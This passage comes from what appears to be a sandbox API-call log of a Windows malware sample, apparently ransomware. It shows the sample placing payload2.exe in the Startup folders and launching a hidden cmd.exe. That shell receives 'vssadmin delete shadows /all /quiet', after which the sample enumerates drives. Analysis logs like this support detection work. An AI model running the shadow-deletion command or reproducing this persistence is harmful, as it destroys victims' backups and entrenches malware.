Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2d9bc8 [0264.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2d9b78 [0264.077] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0264.077] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0264.077] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0264.077] lstrlenW (lpString="kernel32.dll") returned 12 [0264.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9bc8 | out: hHeap=0x2a0000) returned 1 [0264.078] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9b78 | out: hHeap=0x2a0000) returned 1 [0264.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0264.078] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.078] CloseHandle (hObject=0xe4) returned 1 [0264.078] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2d9b78 [0264.078] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.078] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2d9bc8 [0264.078] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0264.078] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0264.078] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0264.078] lstrlenW (lpString="kernel32.dll") returned 12 [0264.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9bc8 | out: hHeap=0x2a0000) returned 1 [0264.078] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9b78 | out: hHeap=0x2a0000) returned 1 [0264.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x1f80020 | out: hHeap=0x2a0000) returned 1 [0264.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2deec0 | out: hHeap=0x2a0000) returned 1 [0264.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2eeec8 | out: hHeap=0x2a0000) returned 1 [0264.078] lstrlenW (lpString="%windir%\\System32") returned 17 [0264.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dac00 | out: hHeap=0x2a0000) returned 1 [0264.079] lstrlenW (lpString="%appdata%") returned 9 [0264.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4648 | out: hHeap=0x2a0000) returned 1 [0264.079] lstrlenW (lpString="%sh(Startup)%") returned 13 [0264.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4620 | out: hHeap=0x2a0000) returned 1 [0264.079] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0264.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dac48 | out: hHeap=0x2a0000) returned 1 [0264.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.079] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2b4620 [0264.079] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4620, Size=0x40) returned 0x2dac48 [0264.079] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dac48, Size=0x80) returned 0x31eef8 [0264.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.079] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2b4620 [0264.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1fffc) returned 0x2deec0 [0264.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2feec8 [0264.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x30eed0 [0264.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.079] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2b4648 [0264.079] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4648, Size=0x40) returned 0x2dac48 [0264.079] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dac48, Size=0x80) returned 0x31ef80 [0264.079] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31ef80, Size=0x100) returned 0x2dbe18 [0264.079] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dbe18 | out: hHeap=0x2a0000) returned 1 [0264.079] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2feec8, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0264.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x30eed0 | out: hHeap=0x2a0000) returned 1 [0264.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2feec8 | out: hHeap=0x2a0000) returned 1 [0264.081] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0264.087] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0264.087] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0264.087] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0264.087] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x5f4, dwThreadId=0x5f8)) returned 1 [0264.523] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0264.523] WriteFile (in: hFile=0xec, lpBuffer=0x31eef8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x31eef8*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0264.523] CloseHandle (hObject=0xfc) returned 1 [0264.523] CloseHandle (hObject=0xf8) returned 1 [0264.523] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2deec0 | out: hHeap=0x2a0000) returned 1 [0264.523] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0264.523] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31eef8 | out: hHeap=0x2a0000) returned 1 [0264.523] lstrlenW (lpString="%comspec%") returned 9 [0264.523] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4620 | out: hHeap=0x2a0000) returned 1 [0264.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0264.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d4d80 [0264.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x2d4d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0264.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d94c0 [0264.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x2d94c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0264.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d98 [0264.525] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d98, Size=0x20) returned 0x2b4620 [0264.525] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4620, Size=0x40) returned 0x2dac48 [0264.525] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0264.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd0) returned 0x2dbe18 [0264.525] GetLogicalDrives () returned 0x4 [0264.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10014) returned 0x2deec0 [0264.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d98 [0264.525] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d98, Size=0x20) returned 0x2b4620 [0264.525] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4620, Size=0x40) returned 0x2dacd8 [0264.525] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dacd8, Size=0x80) returned 0x31eef8 [0264.525] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x2dd410 [0264.525] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dd410, Size=0x200) returned 0x2dd410 [0264.525] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dd410, Size=0x400) returned 0x2dd410 [0264.525] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dd410, Size=0x800) returned 0x320ee0 [0264.526] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x320ee0, Size=0x1000) returned 0x320ee0 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x2eeee0 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d98 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d4e70 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2d94d0 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d4e88 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2d9488 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4ea0 [0264.526] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9488, Size=0x8) returned 0x2d9488 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4eb8 [0264.526] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9488, Size=0x10) returned 0x2d9488 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4ed0 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4ee8 [0264.526] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9488, Size=0x20) returned 0x2d9580 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4f00 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d9488 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d4f18 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d4f30 [0264.526] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9580, Size=0x40) returned 0x2d9580 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d4f48 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d4f60 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d4f78 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d4f90 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4fa8 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4fc0 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d9498 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4fd8 [0264.526] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9580, Size=0x80) returned 0x2dbef0 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4ff0 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d5008 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d5020 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd428 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd440 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2dd458 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd470 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2dd810 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd488 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd4a0 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2dd4b8 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd4d0 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2dd4e8 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd500 [0264.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2dd518 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd530 [0264.527] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dbef0, Size=0x100) returned 0x2dda28 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd548 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd560 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd578 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2dd590 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd5a8 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd5c0 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321f00 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd5d8 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd5f0 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd608 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x321f10 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd620 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd638 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321f20 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd650 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd668 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2dd680 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd698 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd6b0 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd6c8 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2dd6e0 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd6f8 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2dd710 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd728 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd740 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd758 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd770 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321f30 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd788 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd7a0 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd7b8 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd7d0 [0264.527] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dda28, Size=0x200) returned 0x2dda28 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2dd7e8 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321f40 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322300 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322318 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322330 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322348 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322360 [0264.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322378 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322390 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3223a8 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3223c0 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x3223d8 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x3223f0 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322408 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322420 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322438 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322450 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322468 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322480 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322498 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3224b0 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3224c8 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3224e0 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321f50 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3224f8 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322510 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322528 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321f60 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322540 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322558 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322570 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322588 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3225a0 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3225b8 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3225d0 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3225e8 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322600 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322618 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322630 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322648 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322660 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322678 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322690 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3226a8 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3226c0 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322700 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322718 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322730 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322748 [0264.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321f70 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x321f80 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322760 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322778 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322790 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3227a8 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3227c0 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x3227d8 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3227f0 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322808 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322820 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322838 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322850 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322868 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322880 [0264.529] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dda28, Size=0x400) returned 0x2dda28 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322898 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3228b0 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x3228c8 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3228e0 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3228f8 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322910 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322928 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322940 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322958 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322970 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321f90 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322988 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x3229a0 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3229b8 [0264.529] 